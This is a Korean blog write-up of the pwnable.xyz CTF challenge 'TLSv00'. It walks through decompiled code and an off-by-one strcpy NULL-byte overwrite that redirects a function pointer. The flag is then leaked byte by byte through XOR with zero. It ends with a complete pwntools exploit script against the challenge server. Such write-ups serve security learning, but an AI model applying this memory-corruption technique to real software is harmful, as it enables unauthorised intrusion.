fkillrra 2020. 5. 4. 17:18

TLSv00 (100)
prob
file, checksec binary

바이너리에 모든 메모리 보호기법이 적용되어있다.

 

TLSv00을 풀이하기 위해서는 각각의 기능에 대해 조금은(?) 자세하게 알고있어야한다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int idx; // eax@2
  int size; // ST0C_4@9

  setup();
  puts("Muahaha you thought I would never make a crypto chal?");
  generate_key(63u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        printf("> ", argv);
        idx = read_int32();
        if ( idx != 2 )
          break;
        load_flag();
      }
      if ( idx > 2 )
        break;
      if ( idx != 1 )
        goto LABEL_12;
      printf("key len: ");
      size = read_int32();
      generate_key(size);
    }
    if ( idx == 3 )
    {
      print_flag();
    }
    else if ( idx != 4 )
    {
LABEL_12:
      puts("Invalid");
    }
  }
}

 main()함수는 다음과 같이 구성되어있고,

루프에 돌기 전 setup(), generate_key()함수를 호출하여 세팅을 하고,

무한루프를 돌며 if문의 조건에 따라 generate_key(), load_flag(), print_flag()함수로 분기한다.

 

call generate_key()

generate_key()함수는 그림과 같이 main()함수에서 두번 호출되는데,

첫 번째 호출은 루프를 돌기 전, 이후는 사용자가 1을 입력했을 때 호출된다.

 

사용자가 1을 입력할 경우 main()에서 read_int32()를 통해 size를 입력받고, generate_key()함수로 분기하는데,

__int64 __fastcall generate_key(unsigned int size)
{
  signed int idx; // [sp+18h] [bp-58h]@7
  int fd; // [sp+1Ch] [bp-54h]@4
  char buf[72]; // [sp+20h] [bp-50h]@4
  __int64 v5; // [sp+68h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  if ( (signed int)size > 0 && size <= 64 )
  {
    memset(buf, 0, 72uLL);
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, buf, (signed int)size);
    for ( idx = 0; idx < (signed int)size; ++idx )
    {
      while ( !buf[idx] )
        read(fd, &buf[idx], 1uLL);
    }
    strcpy(key, buf);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

해당 함수에서는 사용자가 입력한 size가 0보다 크고, 64를 넘기지 않는 수 인지 검사하고,

size가 1~64 사이의 값일때 해당 사이즈에 만족하는 랜덤값을 buf에 넣고, key에 strcpy()함수로 값복사를 한다.

 

다음으로 main()으로 돌아와 2를 입력할 경우 load_flag()함수가 호출되는데,

int load_flag()
{
  unsigned int idx; // [sp+8h] [bp-8h]@4
  int fd; // [sp+Ch] [bp-4h]@1

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 64uLL);
  for ( idx = 0; idx <= 63; ++idx )
    flag[idx] ^= key[idx];
  return close(fd);
}

load_flag()함수에서는 말 그대로 /flag파일에서 값을 읽어와 전역으로 선언된 flag배열에 key값과 xor하여 저장을 한다.

 

마지막으로 다시 main()으로 돌아와서 3을 입력하면 print_flag()함수가 호출된다.

int print_flag()
{
  int result; // eax@1

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 'y' )
      do_comment = (int (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

printf_flag()함수는 do_comment에 저장된 값을 result에 넣고, 만약 해당 변수에 값이 없을 경우 사용자로부터 입력을 받고, 입력 값이 'y'일 경우 f_do_comment()함수의 주소를 저장하게 된다.

 

이후 해당 위치에 저장된 함수가 호출되게 된다.

__int64 f_do_comment()
{
  char buf; // [sp+10h] [bp-30h]@1
  __int64 v2; // [sp+38h] [bp-8h]@1

  v2 = *MK_FP(__FS__, 40LL);
  printf("Enter comment: ");
  read(0, &buf, 0x21uLL);
  return *MK_FP(__FS__, 40LL) ^ v2;
}

f_do_comment()함수에서는 buffer에 0x21만큼을 입력받는다.

int real_print_flag()
{
  return printf("%s", flag);
}

그리고 real_print_flag()라는 함수가 존재하는데, flag변수의 값을 %s로 출력해주는 역할을 한다.


공격 시나리오는 다음과 같다.

 

1. f_do_comment()함수의 주소를 가리키는 do_comment가 real_print_flag()함수의 주소를 가리키도록 변조한다.

2. Re-generate key, Load flag, Print flag 기능을 이용하여 flag를 1byte씩 뽑아낸다.

 

no input

setup(), generate_key()함수를 거치고, main()함수 루프에 들어오게 되면

다음과 같이 63byte의 난수가 key라는 변수에 저장되고

 

input 3

3번 메뉴를 실행한 뒤 'y'를 입력하면 다음과 같이 do_comment에 f_do_comment()함수의 주소가 저장되는데,

 

offset f_do_comment() <-> real_print_flag()

공교롭게도 real_print_flag()함수의 주소는 00으로 끝난다.

 

전역변수인 key는 64byte 크기를 갖고 바로 뒤에 do_comment변수가 위치하게 되는데,

generate_key()함수에서 보면 key를 저장할 때 strcpy()함수를 이용하여 저장을 한다.

 

genrate_key()함수에서 read할 수 있는 size의 최대 크기는 64이고,

strcpy()함수는 문자열 복사가 끝난 뒤 NULL byte를 넣음으로서 문자열의 끝임을 알리기 때문에

generate_key()함수에 인자값으로 64를 입력하게 되면 do_comment가 가리키는 주소의 첫 번째 byte가 NULL byte로 Overwrite되게 된다.

 

이를 통해 do_comment는 f_do_comment()함수의 주소가 아닌 real_print_flag()함수의 주소를 가리키게되고,

사용자가 Print flag(input 3)을 진행하면 real_print_flag()함수가 호출되게 된다.

 

key를 생성할 때 1부터 64까지 사용자가 직접 조절할 수 있고, generate_key()함수 내부에서 key에 값을 복사할 때 strcpy()함수를 사용함으로서 항상 문자열 끝에는 NULL byte가 붙을 것이다.

 

이를 이용하면 plain 상태의 flag를 출력할 수 있는데, 과정은 다음과 같다.

 

Re-generate key (1~64) -> Load flag -> Print flag

 

generate_key()에 1byte의 key가 생성되면

 

| 난수(1byte) | NULL (1byte) |

 

위의 형태로 key가 세팅되고, 여기서 Load flag를 하게 되면

해당 key와 flag값이 xor연산이 되어 flag라는 변수에 저장되게 되는데

 

[value] xor 0

0과 어떠한 수를 xor연산하더라도 원본 그대로를 출력한다.

이 점을 이용하여 size를 1부터 64까지 조정하며 flag를 출력하면 된다.

from pwn import *

# p = process('./challenge')
p = remote("svc.pwnable.xyz", 30006)

# Step 1. f_do_comment() -> real_print_flag()

# f_do_comment() -> real_print_flag()
p.sendlineafter('> ', '3')
p.sendlineafter('instead? ', 'y')
p.sendlineafter('> ', '1')
p.sendlineafter('len: ', '64')

flag = ''

for idx in range(1,63):
	# input 1 ~ 64 : idx
	p.sendlineafter('> ', '1')
	p.sendlineafter('len: ', str(idx))

	# load flag
	p.sendlineafter('> ', '2')

	# call real_print_flag()
	p.sendlineafter('> ', '3')
	p.sendlineafter('instead? ', 'a')

	# print "RECV :", p.recv(64)[idx:idx+1]
	flag += p.recv(64)[idx:idx+1]
	print "RECV :F" + flag

p.interactive()

:)

반응형